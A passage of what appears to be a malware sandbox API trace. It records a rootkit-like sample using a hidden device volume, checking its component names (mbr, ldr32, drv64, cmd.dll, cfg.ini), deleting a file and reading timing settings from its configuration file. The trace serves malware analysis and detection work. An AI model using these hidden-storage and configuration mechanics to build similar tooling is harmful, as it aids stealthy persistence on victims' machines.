dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.721] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.721] KeEnterCriticalRegion () [0122.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.721] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.721] IdePortDispatch () returned 0x103 [0122.721] KeWaitForMutexObject () returned 0x0 [0122.721] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.721] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.722] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.722] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.722] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.722] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.722] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.722] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.722] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.722] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.722] KeLeaveCriticalRegion () [0122.722] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.722] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.722] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.722] KeEnterCriticalRegion () [0122.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.722] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.722] IdePortDispatch () returned 0x103 [0122.722] KeWaitForMutexObject () returned 0x0 [0122.722] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.722] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.722] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.722] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.722] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.722] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.722] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.722] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.722] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.722] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.722] KeLeaveCriticalRegion () [0122.723] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.723] ReleaseMutex (hMutex=0x100) returned 1 [0122.723] Sleep (dwMilliseconds=0x2bf20) [0122.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c5878f0, dwHighDateTime=0x1d24fa4)) [0122.729] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.729] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.729] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.729] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.729] KeEnterCriticalRegion () [0122.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.729] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.729] IdePortDispatch () returned 0x103 [0122.729] KeWaitForMutexObject () returned 0x0 [0122.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.729] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.729] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.729] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.729] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.729] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.729] KeLeaveCriticalRegion () [0122.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.729] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.729] KeEnterCriticalRegion () [0122.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.730] KeLeaveCriticalRegion () [0122.730] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.730] KeEnterCriticalRegion () [0122.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.730] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.730] IdePortDispatch () returned 0x103 [0122.730] KeWaitForMutexObject () returned 0x0 [0122.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.730] KeLeaveCriticalRegion () [0122.730] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.730] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.730] KeEnterCriticalRegion () [0122.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d13000 [0122.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.730] IdePortDispatch () returned 0x103 [0122.730] KeWaitForMutexObject () returned 0x0 [0122.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.731] IdePortDispatch () returned 0x103 [0122.731] KeWaitForMutexObject () returned 0x0 [0122.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.731] KeLeaveCriticalRegion () [0122.731] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.731] KeEnterCriticalRegion () [0122.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.731] KeLeaveCriticalRegion () [0122.731] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.731] KeEnterCriticalRegion () [0122.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.731] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.731] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.731] KeLeaveCriticalRegion () [0122.731] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.732] KeEnterCriticalRegion () [0122.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.732] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.732] KeLeaveCriticalRegion () [0122.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.732] ReleaseMutex (hMutex=0xf0) returned 1 [0122.732] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.732] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.732] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.732] KeEnterCriticalRegion () [0122.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.732] IdePortDispatch () returned 0x103 [0122.732] KeWaitForMutexObject () returned 0x0 [0122.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.732] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.732] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.732] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.732] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.732] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7e60 [0122.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.732] KeLeaveCriticalRegion () [0122.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.732] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.732] KeEnterCriticalRegion () [0122.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.732] KeLeaveCriticalRegion () [0122.733] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.733] KeEnterCriticalRegion () [0122.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.733] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.733] IdePortDispatch () returned 0x103 [0122.733] KeWaitForMutexObject () returned 0x0 [0122.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.733] KeLeaveCriticalRegion () [0122.733] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.733] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.733] KeEnterCriticalRegion () [0122.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.733] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d14000 [0122.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.733] IdePortDispatch () returned 0x103 [0122.733] KeWaitForMutexObject () returned 0x0 [0122.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.733] IdePortDispatch () returned 0x103 [0122.734] KeWaitForMutexObject () returned 0x0 [0122.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.734] KeLeaveCriticalRegion () [0122.734] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.734] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.734] KeEnterCriticalRegion () [0122.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.734] KeLeaveCriticalRegion () [0122.734] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.734] KeEnterCriticalRegion () [0122.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.734] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.734] KeLeaveCriticalRegion () [0122.734] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.734] KeEnterCriticalRegion () [0122.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.735] ExFreePoolWithTag (P=0xfffffa8003be7e60, Tag=0x0) [0122.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.735] KeLeaveCriticalRegion () [0122.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.735] ReleaseMutex (hMutex=0xf0) returned 1 [0122.735] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.735] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.735] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.735] KeEnterCriticalRegion () [0122.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.735] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.735] IdePortDispatch () returned 0x103 [0122.735] KeWaitForMutexObject () returned 0x0 [0122.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.735] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.735] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.735] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.735] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.735] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be67b0 [0122.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.735] KeLeaveCriticalRegion () [0122.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.735] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.735] KeEnterCriticalRegion () [0122.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.735] KeLeaveCriticalRegion () [0122.735] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.735] KeEnterCriticalRegion () [0122.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.736] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.736] IdePortDispatch () returned 0x103 [0122.736] KeWaitForMutexObject () returned 0x0 [0122.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.736] KeLeaveCriticalRegion () [0122.736] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.736] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.736] KeEnterCriticalRegion () [0122.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d15000 [0122.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.736] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.736] IdePortDispatch () returned 0x103 [0122.736] KeWaitForMutexObject () returned 0x0 [0122.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 